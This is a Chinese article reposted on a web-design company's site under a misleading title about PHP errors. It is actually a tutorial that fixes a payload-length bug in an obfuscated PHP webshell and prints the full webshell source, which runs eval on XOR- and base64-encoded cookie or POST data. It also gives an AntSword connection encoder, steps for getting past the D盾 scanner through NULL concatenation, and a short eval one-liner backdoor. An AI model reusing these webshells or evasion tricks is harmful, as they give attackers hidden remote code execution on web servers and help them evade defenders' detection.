php中為什么提交的命令大于11個字符就報錯

這篇文章給大家介紹php中為什么提交的命令大于11個字符就報錯,內(nèi)容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

創(chuàng)新互聯(lián)是一家朝氣蓬勃的網(wǎng)站建設(shè)公司。公司專注于為企業(yè)提供信息化建設(shè)解決方案。從事網(wǎng)站開發(fā),網(wǎng)站制作,網(wǎng)站設(shè)計,網(wǎng)站模板,微信公眾號開發(fā),軟件開發(fā),微信小程序開發(fā),十余年建站對成都發(fā)電機租賃等多個領(lǐng)域,擁有多年的營銷推廣經(jīng)驗。

0x01 問題分析

php中為什么提交的命令大于11個字符就報錯在地氣文章末尾留下了送給大家的彩蛋(認真讀文章的我肯定不會中標~)。
下邊就和大家分享一下彩蛋的蛋是怎么玩兒的。

php中為什么提交的命令大于11個字符就報錯

在地氣哥Payload工具中,key的值被復(fù)制了多次,為的是當我們輸入Payload語句被程序進行serialize之后,將每一位都進行ASCII碼后的異或運算,來逆推出加密的Base64代碼,我們可以從第25-28行的語句中看到逆推過程,是因為從substr中來逐步ASCII碼。

我們看一下當substr函數(shù)返回空時,情況是怎么樣的。

php中為什么提交的命令大于11個字符就報錯

我們看到,當substr截取不到任何東西時,PHP返回“空”,但是在進行ord強制轉(zhuǎn)換后,返回的是實打?qū)嵉?,因為地氣哥中的key是寫死的,當我們生成的Payload比較多的時候,就會出現(xiàn)0去異或程序中生成的第一次加密Payload某一位的情況,這顯然是不合理的。

0x02 問題解決


解決該問題最有效的方法應(yīng)該就是讓程序動態(tài)的去復(fù)制粘貼Key,這樣可以達到長度無限的情況。
這里筆者粘貼出已修改的腳本:

php中為什么提交的命令大于11個字符就報錯

<?php
$str = array(
    'ak'    =>  'aec7e489-2fbc-4b15-871f-1d686eeb80dc',
    'a'     =>  'e',
    'd'     =>  $_GET['payload']
);

$seria = serialize($str);

$cookiepre = '';
$pass = str_repeat('t', strlen($seria) - 1);
$text = '';
for($i = 0; $i < strlen($seria); $i++){
    $text .= chr(ord($seria[$i]) ^ ord($pass));
}

echo $pass . '<br>';

$key = $str['ak'];
$value = '';
for($i = 0; $i < strlen($text); $i++){
    if(!$key[$i]){
        $key .= $str['ak'];
    }
    $value .= chr(ord($text[$i]) ^ ord($key[$i]));
}
echo base64_encode($value);

測試效果:

php中為什么提交的命令大于11個字符就報錯

成功解決了Payload長度問題。

0x03 神兵利器,何不利用?


既然解決了Payload長度問題,那么如果我們可以將該馬兒更加方便的使用,那該多好啊。
筆者想到的是,如果可以使用蟻劍去連接,那豈不是舒服的很。畢竟該國外馬兒加密的流量非常強悍的。
當然我們要想要與蟻劍進行交互,我們首先要解決一個問題,該問題是馬兒中的unserialize函數(shù)。

php中為什么提交的命令大于11個字符就報錯

Unserialize函數(shù)是用來反序列化的,但是他方便了PHP的同時卻不太適合蟻劍,因為蟻劍是基于nodeJs而開發(fā),同時遵循了Js的語法規(guī)則,我們知道在Js中定義數(shù)組必須為索引下標,在PHP中定義數(shù)組下標可以是字符串類型,這牽扯到了該馬兒的核心:第48行的$vv[‘a(chǎn)k’]。如果我們使用unserialize函數(shù),可能不太方便Js與PHP的交互。

在一個正常的WEB應(yīng)用中,前臺(Js)與后臺(PHP/JAVA等)語言中,Json為主要的傳輸數(shù)據(jù)的格式,這里筆者將unserialize函數(shù)改為json_decode。如圖:

php中為什么提交的命令大于11個字符就報錯

這樣起來我們就可以在nodeJs與PHP之間搭建一個溝通的橋梁。

新馬兒代碼:

<?php
$da59aa5 = 208;
$GLOBALS['w8fd00d8'] = Array();
global $w8fd00d8;
$w8fd00d8 = $GLOBALS;
${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if (!defined('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba')){
        define('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba', 1);
        $vv = NULL;
        $kk = NULL;
        $w8fd00d8['c77700426'] = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc';
        global $c77700426;
        function  e664fd($vv, $kk){
        global $w8fd00d8;
        $n513761 = "";
        for ($i=0;$i<strlen($vv);){
                for ($p=0;$p<strlen($kk) && $i<strlen($vv);$p++, $i++){
                        $n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
                }
        }
        return $n513761;
        }

        function  x184f5cc($vv, $kk){
                global $w8fd00d8;
                global $c77700426;
                return e664fd(e664fd($vv, $c77700426), $kk);
        }

        foreach ($_COOKIE as $k=>$v){
        $vv = $v;
        $kk = $k;
        }

        if (!$vv){
                foreach ($_POST as $k=>$v){
                $vv = $v;
                $kk = $k;
                }
        }

        $vv = @json_decode(x184f5cc(base64_decode($vv), $kk), true);
        
        if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
                if ($vv['a'] == 'i'){
                        $l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
                        echo @serialize($l71c40);
                }
                elseif ($vv['a'] == 'e'){
                eval/*r49557ec*/($vv['d']);
                }
                }
                exit();
        }

?>

0x04 蟻劍改造及使用演示


下邊筆者就編寫了一個蟻劍的編碼器,他用于鏈接該木馬。
編碼器代碼:

/**
 * php::base64編碼器
 * Create at: 2020/10/14 13:38:35
 */

'use strict';
/*
* @param  {String} pwd   連接密碼
* @param  {Array}  data  編碼器處理前的 payload 數(shù)組
* @return {Array}  data  編碼器處理后的 payload 數(shù)組
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    請在下方編寫你自己的代碼   ###################
  // 以下代碼為 PHP Base64 樣例
  let obj = {'ak':'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a':'e','d':data['_']};
  let objStr = JSON.stringify(obj);
  // 生成一個隨機變量名
  let pass = 't';
  let t = pass.repeat(obj.d.length - 1);
  
  let text = '';
  for(let i = 0; i < objStr.length; i ++){
    text += String.fromCharCode(objStr[i].charCodeAt() ^ t.charCodeAt());
  }
  let key = obj.ak;
  var value = '';
  for(let i = 0; i < text.length; i++){
    if(!key[i]){
      key += obj.ak;
    }
    value += String.fromCharCode(text[i].charCodeAt() ^ key[i].charCodeAt());
  }
  data[t] = Buffer.from(value).toString('base64');
  

  // ##########    請在上方編寫你自己的代碼   ###################

  // 刪除 _ 原有的payload
  delete data['_'];
  // 返回編碼器處理后的 payload 數(shù)組
  return data;
}

當然,該編碼器的第15行的ak值,需要與馬兒中的key所對應(yīng)。

演示:

php中為什么提交的命令大于11個字符就報錯

(馬兒密碼任意即可)

0x05 狗兒的友情提示


該馬兒流量是很強悍了,但是腳本本身并不免殺。
我們看一下馬兒被D盾吊錘:

php中為什么提交的命令大于11個字符就報錯

怎么辦呢?繞啊,這么好的馬子,編碼器都完成了,不能前功盡棄!

看到提示eval后門,參數(shù)$vv那邊有問題,我們看一下:

php中為什么提交的命令大于11個字符就報錯

很簡單,使用NULL拼接大法(雖然一些普遍的馬兒都已經(jīng)過不了了)。

php中為什么提交的命令大于11個字符就報錯

現(xiàn)在不報eval的錯誤了,有戲!

可以看到爆出$GLOBALS的錯誤,我們直接轉(zhuǎn)移到第6行看一下。

php中為什么提交的命令大于11個字符就報錯

該代碼對整個馬兒不太影響,直接刪掉!

php中為什么提交的命令大于11個字符就報錯

我們在看一下結(jié)果:

php中為什么提交的命令大于11個字符就報錯

ByPass!

0x06 通過該馬解鎖的繞過方式


通過地氣哥的一些分析,從其中得到一些靈感,NULL拼接不再孤獨,再次奔放~!
之前一直疏忽一個問題,$GLOBALS到底里面存放一些什么東西,今天,我們var_dump一下看看。

php中為什么提交的命令大于11個字符就報錯

可以看到$_GET/$_POST/$_COOKIE都存放在這些東西里面。

這個時候筆者想到了eval/**/()格式,以及一些變量值的混淆,寫出第二個簡約一句話木馬。

<?php
$a = $GLOBALS;
$str = '_GET';
eval(''. $a[$str]['c']. NULL);

Phpinfo:

php中為什么提交的命令大于11個字符就報錯

D盾測試:

php中為什么提交的命令大于11個字符就報錯

關(guān)于php中為什么提交的命令大于11個字符就報錯就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

分享標題:php中為什么提交的命令大于11個字符就報錯
文章分享:http://muchs.cn/article40/gdsheo.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站設(shè)計、標簽優(yōu)化網(wǎng)站設(shè)計公司、外貿(mào)網(wǎng)站建設(shè)網(wǎng)站建設(shè)、手機網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

商城網(wǎng)站建設(shè)